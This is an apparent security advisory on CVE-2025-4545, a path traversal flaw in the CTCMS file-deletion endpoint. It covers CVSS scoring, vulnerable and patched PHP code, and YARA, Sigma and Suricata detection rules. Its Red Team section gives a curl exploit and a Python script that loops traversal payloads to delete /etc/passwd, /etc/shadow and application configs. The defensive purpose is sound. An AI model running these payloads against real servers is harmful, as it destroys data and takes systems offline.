CVE-2025-4545

Executive Summary

CVE-2025-4545 is a critical path traversal vulnerability discovered in the CTCMS Content Management System version 2.1.2. The flaw resides in the del function of the ctcms/apps/controllers/admin/Tpl.php file, which handles file deletion operations. By manipulating the File argument, an authenticated or unauthenticated attacker (depending on access controls) can traverse directories outside the intended scope, potentially deleting arbitrary files on the server. This can lead to denial of service, data loss, or further exploitation if critical system files are removed. The exploit has been publicly disclosed, increasing the risk of active attacks.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and impact, the vulnerability is assessed as critical. A reasonable CVSS v3.1 vector would be: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (Network, Low complexity, No privileges, No user interaction, Unchanged scope, No confidentiality impact, High integrity impact, High availability impact).

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – The endpoint may be accessible without authentication.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): None (N) – No direct data exposure.
• Integrity (I): High (H) – Arbitrary file deletion can corrupt data.
• Availability (A): High (H) – Deletion of critical files can cause service disruption.

Threat Level: Critical. Public exploit availability and lack of a patch make this a high-priority target for attackers.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the file deletion functionality of CTCMS. The del function in Tpl.php likely takes a File parameter from user input (e.g., via GET or POST request) and passes it to a file deletion function without proper sanitization or validation.

Root Cause: The application fails to validate that the provided file path is within the intended directory (e.g., template files). An attacker can inject path traversal sequences like ../ to escape the base directory and reference files elsewhere on the filesystem.

Attack Flow:

1. The attacker sends a request to the vulnerable endpoint, e.g., /admin/Tpl/del?File=../../../etc/passwd.
2. The application constructs a file path by concatenating a base directory with the user-supplied File value.
3. Due to the lack of path normalization or validation, the resulting path points to /etc/passwd.
4. The application executes the file deletion operation, removing the target file.

Impact:

• Denial of Service: Deleting critical system files (e.g., configuration files, binaries) can crash the application or the entire server.
• Data Loss: Removal of user data, logs, or database files.
• Privilege Escalation: In some cases, deleting specific files (e.g., .htaccess, authentication scripts) can weaken security controls.
• Further Exploitation: Deletion of files may create conditions for other attacks, such as file upload vulnerabilities or code execution.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in ctcms/apps/controllers/admin/Tpl.php. A secure implementation would validate the file path against an allowlist of allowed directories and use path canonicalization to prevent traversal.

Vulnerable Code (Conceptual):

public function del() {
    $file = $_GET['File'];
    $basePath = '/var/www/ctcms/templates/';
    $fullPath = $basePath . $file;
    if (file_exists($fullPath)) {
        unlink($fullPath);
    }
}

Patched Code (Conceptual):

public function del() {
    $file = basename($_GET['File']); // Remove path components
    $basePath = '/var/www/ctcms/templates/';
    $fullPath = realpath($basePath . $file);
    // Ensure the resolved path is within the allowed directory
    if (strpos($fullPath, realpath($basePath)) === 0 && file_exists($fullPath)) {
        unlink($fullPath);
    }
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A target running CTCMS 2.1.2.
• Network access to the admin interface (or the vulnerable endpoint if exposed).

Exploit Steps:

1. Identify the vulnerable endpoint: /admin/Tpl/del or similar.
2. Craft a request with a path traversal payload in the File parameter.
3. Example using curl:

   curl -X GET "http://target.com/admin/Tpl/del?File=../../../etc/passwd"
   

4. Verify deletion by checking if the file is removed (e.g., attempt to read it).

Advanced Payloads:

• Delete configuration files: File=../../../etc/nginx/sites-enabled/default
• Delete application files: File=../../../var/www/ctcms/config.php
• Delete logs: File=../../../var/log/apache2/access.log

Automation Script (Python):

import requests

target = "http://target.com/admin/Tpl/del"
payloads = [
    "../../../etc/passwd",
    "../../../etc/shadow",
    "../../../var/www/ctcms/config.php"
]

for payload in payloads:
    r = requests.get(target, params={"File": payload})
    print(f"Payload: {payload} - Status: {r.status_code}")

Blue Team (Defender)

Detection:

• Monitor for requests containing ../ or ..\\ in the File parameter.
• Alert on attempts to access files outside the web root (e.g., /etc/, /var/log/).
• Use WAF rules to block path traversal patterns.

Mitigation:

• Immediately restrict access to the vulnerable endpoint if possible.
• Implement input validation and path canonicalization.
• Apply the principle of least privilege to the web server user.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/Tpl/del with File parameter containing ../ sequences.
• Unusual file deletion operations in server logs (e.g., unlink calls for system files).

File System IOCs:

• Missing critical files (e.g., /etc/passwd, /etc/shadow, application config files).
• Unexpected empty directories or missing log files.

Log IOCs:

• Web server access logs showing requests with path traversal patterns.
• Application error logs indicating failed file operations or missing files.

Detection Engineering

YARA Rule

rule CVE_2025_4545_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CTCMS Tpl.php del function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4545"
    strings:
        $traversal = /(\.\.\/|\.\.\\){2,}/
        $endpoint = "/admin/Tpl/del"
    condition:
        $endpoint and $traversal
}

Sigma Rule

title: CVE-2025-4545 Path Traversal in CTCMS Tpl.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in HTTP requests to CTCMS Tpl.php del function
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/Tpl/del'
        cs-uri-query|re: '(\.\.\/|\.\.\\){2,}'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4545 CTCMS Path Traversal Attempt"; flow:to_server,established; content:"/admin/Tpl/del"; http_uri; pcre:"/(\.\.\/|\.\.\\){2,}/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible by removing or renaming Tpl.php or restricting access via .htaccess or web server configuration.
2. Apply a WAF rule to block requests containing path traversal sequences in the File parameter.
3. Monitor logs for exploitation attempts and respond accordingly.

Long-term Fixes:

• Patch the code by implementing proper input validation and path canonicalization as shown in the patched code example.
• Upgrade CTCMS to a patched version once available.
• Conduct a security audit of the entire application for similar vulnerabilities.

Workarounds:

• Use a reverse proxy to filter malicious requests.
• Implement file system permissions to prevent the web server user from deleting critical files.

Valters IT